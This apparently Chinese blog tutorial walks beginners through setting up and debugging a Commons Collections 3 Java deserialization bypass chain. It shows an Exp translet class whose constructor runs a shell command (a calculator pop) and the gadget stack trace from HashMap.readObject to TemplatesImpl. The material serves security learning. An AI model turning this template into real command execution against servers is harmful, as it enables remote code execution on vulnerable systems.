反序列化动态调试从0到0.5

看到过有师傅说渗透技巧学的差不多,想入手代审又觉得基础不够,那么如果让我给建议的话肯定是先去补基础了,毕竟我也经常被JAVA大佬杨专家批评基础太差,其次的话,JAVA代审和反序列化可以说是两个维度了,这里打算就之前小乌师傅发的CC3绕过链,做一个动态调试的教程,从0到0.5,具体分析放到后面,这里只针对基础相对不好的师傅,内容过于简单望谅解。

链子在这里哈https://articles.zsxq.com/id_t1iuv0j9fopp.html

就以第一个为例

1、首先,电脑安装个IntelliJ Idea,安装和点击试用啥的这里就不说了

2、打开之后会出现一个创建项目的页面

选这样就差不多了,java环境应该都安装了吧,没有的需要提前装好

3、创建好之后,默认会有一个Main类,里面放了一个函数,输出Hello World!

点击绿色小三角,运行代码

点击Run , 成功输出了你好,世界。祝贺你,这意味着环境已经搭好了。

4、环境没问题之后,创建一个新的类,用来运行CC3_bypass

5、创建一个Main函数,输入psvm自动生成

6、将小乌师傅提供的代码贴入其中

复制代码

贴入Main函数中

7、可以看到其中有很多红色,这意味着存在错误。因为这里我们知道是CC3反序列化利用链,所以需要引入CommonsCollections3包,原理就是恶意代码在该包里面,只有引入了CC3包才能触发其恶意代码。

在pom.xml中加入如下代码引入数据包,然后点击刷新即可导入

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
</dependencies>

8、回到代码,开始解决报错问题,将鼠标移动到红色代码处,点击import class。这里报错主要是因为所需要的对象的包没有导入,所以全部进行import操作即可。

把能点的点了,导入了如下包


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

9、现在主要剩下

setFieldValue

ClassPool

Exp

其他一些红色波浪线

这里主要是一些经验了,红色波浪线是因为代码可能存在异常,需要做try/catch处理,也有一种简单的方法,在当前函数名称后加如下代码,抛出异常

throws Exception

10、处理setFieldValue方法,这个方法在ysoserial反序列化工具中是集成在util.Reflections方法中,主要作用是反射赋予指定值,这里先简单了解,学会用即可。

在CC3_bypass类中新建一个方法,内容如下


public static void setFieldValue(Object obj, String fieldName, Object
            value) {
        try {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        } catch (Exception e) {
        }
    }

贴完这个方法之后,只剩2个报错了,一个是ClassPool,还有一个是Exp

11、ClassPool,具体介绍可以看这里https://www.saoniuhuo.com/article/detail-106692.html

是Javassist包中的一个对象,常用来获取某个类的字节码

不讲那么多,当需要获取字节码时,往往就会用到它,所以也要在pom.xml中先导入

<dependency>
            <groupId>javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.12.1.GA</version>
        </dependency>

再回来import即可

12、终于,到最后一个了,Exp,将鼠标放上去可以看到,推荐的解决方法时创建这个类。

前面了解了ClassPool对象主要作用是获取某个类的字节码,那么这里的字节码即是Exp类的字节码,默认没有的,所以需要创建。

当然这个类有一定要求,这里也先不说,直接使用。

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Exp extends AbstractTranslet {
    public Exp() throws Exception{
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

给出最终代码了,执行的命令是

open /System/Applications/Calculator.app

打开计算器

13,创建完Exp类之后,回到CC3_bypass,已经处理完所有报错了,执行一下

成功执行命令,弹出计算器

14、到这里,可以适当兴奋一下了,因为已经完成了30%了,证明了这个反序列化利用链的可行性,然后如果需要理解这条利用链的具体逻辑,可以放到后面,先大概debug一下代码,看看是怎么运行的。

因为知道最后是执行了Exp类中的Exp方法,直接在此处下断点

15、点击debug运行CC3_bypass

16、当代码处的红点打了个勾,并且左下角的debugger中可以看到类与方法,便是成功将代码debug到断点处了

17、右键选copy stack,即可获取比较粗糙的反序列化利用链gadget chain

如下:

<init>:11, Exp (org.example)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
create:129, InstantiateFactory (org.apache.commons.collections.functors)
transform:73, FactoryTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
readObject:1405, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:72, CC3_bypass (org.example)

18、点击某一行即可跳转到该行的类位置以及到下一个方法的位置

例如选择HashMap.readObject。代码跳转到HashMap.java的1405行,这里有个hash方法,对应流程下一步到的HashMap.hash

然后,可以算是完成了0.5了,很多原理没有讲,CC链也没有分析,留到另外0.5吧。

看完这个如果比较好奇原理方面的东西,可以看看下面两篇文章

https://t.zsxq.com/0bdNteQq4

https://t.zsxq.com/0b70j7Ake

如果想试试其他的利用链,也可以试试之前的URLDNS分析中的代码

https://t.zsxq.com/0b2z3xIna

https://t.zsxq.com/0bN85ZW5i

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值